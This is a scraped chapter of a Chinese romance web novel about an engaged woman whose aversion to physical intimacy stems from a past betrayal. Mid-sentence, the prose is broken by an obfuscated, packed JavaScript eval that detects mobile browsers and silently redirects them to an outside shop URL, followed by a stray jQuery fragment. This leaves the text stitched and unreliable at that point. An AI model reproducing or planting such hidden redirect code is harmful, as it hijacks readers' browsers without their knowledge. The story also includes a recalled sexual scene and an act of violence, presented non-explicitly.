文趣网 > 其他小说 > 灼灼明雪[先婚后爱] > 12. 第 12 章
    是她和几个发小的合影,有男有女,她没法解释为什么没有把那个人的脸剪掉,或是涂黑,也没收起相框,七八年了,还让它摆在原来的位置。

    大概是因为其他好友的存在,她不想破坏那份完整。

    太习惯了,相框一直在那,人会慢慢滋生顿感,每天目光无意识地瞟过,自动打了马赛克似的,并未多留意一眼,现在傅言深看着照片,她才发现,她已经很久没有主动想起那个人了。

    空气诡异地安静着,某一刻,她突然从记忆里抽离,端起蜂蜜水递给他,说:“喝点,解酒。”

    傅言深喝完蜂蜜水后,黎明雪又催他去洗漱,他走进卫生间,水声传来,她静静站了会儿,将相框收进抽屉里。

    傅言深洗漱完出来,看向刚才摆相框的位置,已经空了,她在藏什么?

    黎明雪拉上窗帘,看着他的目光从原来摆相框的位置转回来,她目光有些闪烁,说:“你休息吧。”

    “你呢?”

    “......”

    总不能和你一起睡。

    黎明雪说:“我不困。”

    他皮肤上沾着潮气,脸色越发白里透青,好像喝酒后这样脸色的人,身体不太降解酒精,会比较难受。

    她问:“有没有不舒服?”

    他没说话。

    气氛太压抑,她待不下去,她站这看着,他大概也不是很方便。

    黎明雪说:“你休息吧,我先下楼了。”

    二十分钟后,又被她妈轰上楼,说她不像话,怎么能把喝醉的人一个人丢在房间。

    黎明雪只好又回到楼上,轻悄悄地走进房间,看清他躺在她的床上,睡得很安静。

    眼睛紧闭,唇紧抿着,他好像睡觉了也没有放松下来。

    据她为数不多的了解,他爷爷对他的管教非常严格,他的人生是长按加速键的,要学要做的事很多,浓缩在彼时年纪尚小的他身上。

    眼睛适应了昏暗的光线,黎明雪看见他额角、脖子渗出细细的汗,身子很沉,睡得很累的样子,呼吸也重,修长的身体压在雪白柔软的被子上,仿佛醉玉颓山。

    应该是白酒的后劲上来了,他看起来不太舒服。

    黎明雪把空调降低了几度,在心里挣扎了一下,算了,看在她低血糖时他照顾她的份上。

    她到卫生间,先卸了妆,把毛巾浸湿,又站在床边做了三分钟的心理建设,才将毛巾叠成正方形,倾身过去,从额头开始,给他擦汗。

    醉成这样,不会醒过来吧?

    见他没动静,她又大胆了一点,湿透冰凉的毛巾伸向他泛着细微水光的脖子。

    她动作很轻,生怕惊动他,就快完成时,还没松下一口气,她看见他的喉结滑动了一下。

    目光缓缓向上,对上他暗沉的视线。

    黎明雪呼吸一紧。

    他直勾勾看着她,但眼神迷离。

    他是个自律的人,喝醉了也没有失态,连躺着的样子都很端正,但他此刻唇紧抿着,头发乌黑凌乱,眼神也不太清醒,克制中透着凌乱,竟有点可爱。

    黎明雪嘴角抿着笑,把他的头发揉得更乱,说:“你睡吧。”

    “明雪。”

    她正要起身时,突然听见他叫她。

    “怎么——”

    “了”字还没发出声音,瞬间身体失重,天旋地转,已经被他抱到了床上,心跳快蹦出嗓子眼。

    她手忙脚乱地起来,又被腰间的手抱回去,他的手臂仿佛焊在她腰上。

    没法和喝醉的人计较,她无奈,调整了一下姿势,和他面对面躺着,问:“怎么了?”

    他明显正醉着,人很疲惫,但不肯闭上眼睛,就这么看着她。

    “傅言深,你在耍什么酒疯?”她好笑地问他。

    “陪陪我。”他嗓音沙哑。

    黎明雪对上他安静专注的目光,不知是不是错觉,她竟听出一丝恳求的意味,平时沉稳克制的人,难得流露出这样一面,她硬不下心拒绝。

    “嗯,我不走。”

    他却还不睡,依旧看着她,黎明雪不知道他这是什么毛病,都要怀疑自己刚才是不是卸妆没卸干净。

    “不困吗?”

    他的眼睛缓缓闭上,又睁开,长长的睫毛下,目光流连在她脸上。

    黎明雪伸出手,盖在他的眼睛上,轻声说:“你睡吧。”

    过了会儿,均匀的呼吸传来,他的姿势放松了一些,她拿开手,见他已经安然睡着。

    刚才明明已经累到不行了,不知道在硬撑什么。

    不知不觉她也睡过去,梦中回到六岁那年,在他家长长的走廊上,看见一间房间的门是开着的,透出光,她屁颠颠跑过去,误入一间书房。

    午后阳光很好,在窗外绿树的映衬下,房间充满了薄薄的青绿,她看见一个穿着墨蓝色英伦风校服的大哥哥站在书架边,个子高高的,笔挺板正,手指正拨出一本书,清爽的风吹来,画面像漫画一样美好。

    直到他转身看向她。

    房间温度骤降。

    他一个眼神,把她看哭了。

    冷、凶、厌烦。

    黎明雪睡得浅,迷迷糊糊还有一丝现实中的意识,明明他从小就不喜欢自己,为什么要和她结婚?

    小孩总喜欢和比自己大一点的孩子玩,哭完后,她越挫越勇,每天早上下午,都要去书房找他,甜品、零食、玩具、漫画,一点一点侵占他严整的空间。

    但梦中他的脸越来越模糊,都是自己和他说话,不停问这问那的声音,她记不清他后面有没有愿意搭理自己。

    场景毫无预兆地切到户外,没头没脑地下起了雨,雨不大,但很冷,像是冻雨,她身上越来越冷,好像有人抱起自己,身体一半冰凉一半灼热。

    突然就躺在了雪地上,后背软软的,身上却很重,被什么压着,微凉的手指拨开她的头发,炙热的呼吸,一下下扑在她冰凉的脸上,是吻吧,柔软的,从额角滑落,贴在唇上,轻柔地吮吻。

    她想醒却醒不过来,睫毛颤动着想睁开,手脚没有一点力气,但意识越来越清楚。

    大白天的,她鬼压床竟然梦到一只色鬼?是她太饥渴,还是鬼太饥渴?

    “明雪,可以吗?”

    来自唇齿间的呢喃,黎明雪在旖旎的吻中醒来,恍恍惚惚地感觉到身上又冷又热。

    冷是空调,她房间的空调从来没开这么低过。

    热......唇被轻轻咬了一下,“醒了?”男人初醒时性感低哑的嗓音。

    色鬼压床竟然压到她真实的床上来了?

    黎明雪的心跳好快,呼吸加速,热来自覆在她身上的男人。

    “傅言深?”她问。

    “嗯...”

    他的唇,蜻蜓点水般,落在她的唇上,细细地含吮。

    他不急切,唇齿相依中稍稍掠夺走她的呼吸,她好像轻微溺水,又有点舒服。

    “可以吗?”

    她想到巴黎回来的飞机上,她说下次,现在就是那个下次?有点紧张,但好像不是很反感。

    见她没排斥,他更加深这个吻,探入她的牙关。

    黎明雪的感官迅速膨胀,脑子一激灵清醒过来,过分入侵的感觉,那触觉,让她头皮发麻,胃里一阵翻江倒海,她猛地推开他,跳下床,跑进了卫生间。

    水声开到最大,两手撑在盥洗池边,吐到一点力气都没有,看着哗哗流水,敲门声被意识过滤掉,不知过去了多久。

    咔嗒一声,门打开了。

    她一惊,看向门外。

    傅言深站在门边,她白皙的皮肤衬得湿润泛红的眼睛格外明显,他动作顿住,说:“抱歉,一直没听到动静,担心你出事。”

    “没事,我洗个脸就出去。”

    傅言深走开了。

    她洗了把脸,看着镜子里的自己深吸一口气,还是不行,她以为自己已经接受他了,可舌头相触的瞬间,脑子里条件反射浮出的画面,依旧会引发生理不适。

    回到房间,她不知道怎么面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862195|212051||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    对他,反倒是他对她说,抱歉,是我太着急了。

    好在下楼后人多,含含混混将房间里的尴尬掩盖过去。

    之后一个星期,黎明雪和他没联系也没见面,婚戒设计制作到什么进度,都是林助联系她。

    “准新娘,怎么了,不开心?”

    清吧里光线昏暗,民谣歌手哼着悠扬的调子,黎明雪懒懒晃着一杯果酒,说:“没有啊。”

    梁笑说:“怎么感觉订婚后,你有点蔫蔫的?”

    “是吗?”黎明雪略一扬眉。

    “是。”梁笑很肯定。

    黎明雪啜了口酒,轻眯眼,像只狡黠的猫,问:“你是不是收藏了很多AV?”

    噗~梁笑一口酒差点喷出来,气管一吸,呛个半死。

    黎明雪帮她拍着背,说:“这么激动干什么?”

    梁笑用纸巾捂着嘴,压下咳嗽,缓了口气,说:“你真是语不惊人死不休。”

    “来来来,给姐姐说说,怎么突然开窍了,是为婚前做准备?”

    黎明雪慢悠悠说:“也不能这么说。”

    “你爱上傅言深了?”

    “那倒不是,我希望自己正常一点而已。”

    “也是,年纪轻轻的,总不能现在就当尼姑。”

    “那你......还因为撞见楚浩然那个,感觉膈应吗?”玩笑归玩笑,说到根本上,梁笑的语气正经起来。

    那是高三下学期,他们读的是国际版,全班基本都要出国,学校也落实了,状态和毕业了差不多。

    楚浩然举家移居国外,黎明雪没觉得问题很大,她可以选一所同座城市的学校就好了。

    周末下午,下着冻雨,她高高兴兴到他家,轻车熟路地走到他的房间,推开门,眼前的画面,在此后连绵的年月里,一只恶心着她。

    那时她才十七岁,牵个手都脸红心跳的年纪,看见两个人赤条条地滚在床上,放荡的呻吟、碰撞的身体、黏腻的声音,那画面的冲击力穿透灵魂,当场颠覆了她的三观。

    她一连扇了楚浩然三个耳光,床上那女的大大方方坐在那,看着他们笑,声音很媚:“激动什么,大不了一起呗。”

    她觉得好恶心,浑身不适。

    “你闹够没有?”楚浩然的手掐住她的脖子,将她推出房间,他的手是湿的、热的、粘的,她的皮肤瞬间起了一层鸡皮疙瘩,转身就吐了。

    忘了是怎么跑出他家的,她只记得外套和伞都忘了拿,手机也在衣服口袋里,外面下着冻雨,路很滑,她从台阶上摔下去,膝盖疼得站不起来,很冷很狼狈,不敢回家。

    稀里糊涂被谁送回去,发了几天高烧,恶心呕吐,脑子里又不停地回放那画面,大概是那几天,她的神经建立了对肢体触碰恶心反胃的回路。

    她知道自己病了,她不能让生活被那一幕毁掉,家里安排她去看心理医生,她积极配合,尽可能去切断那样的条件反射,时间久了,慢慢恢复正常,对外只说自己有点洁癖。

    这些年,她新认识的异性也都是泛泛之交,并没有机会验证,她是不是真的不再排斥肢体接触,直到傅言深出现。

    “后面回头想想,完全理解你为什么选傅言深,他那人,私生活非常简单,要是你连他都接受不了,其他男人更没戏。”梁笑说。

    和他在一起时确实有考虑到这点,黎明雪看了眼时间,饮尽杯子里的果酒,问:“你到底有没有资源?”

    梁笑白她一眼。

    黎明雪说:“别发太恶心的给我,按程度从轻到重,标上12345678910。”

    梁笑又白她一眼:“你个麻烦精。”

    晚上,黎明雪去了半月湾,住家阿姨早早回了保姆间,她洗完澡,坐在安静的书房里,抱着一个抱枕,心脏紧绷着,深吸一口气,点开标注为1的视频。

    画面一跳出来,她就笑了。

    梁笑给她挑的1,是动漫,真是用心良苦,画面很唯美,剧情也挺纯情的。

    第一次光影,轻松度过。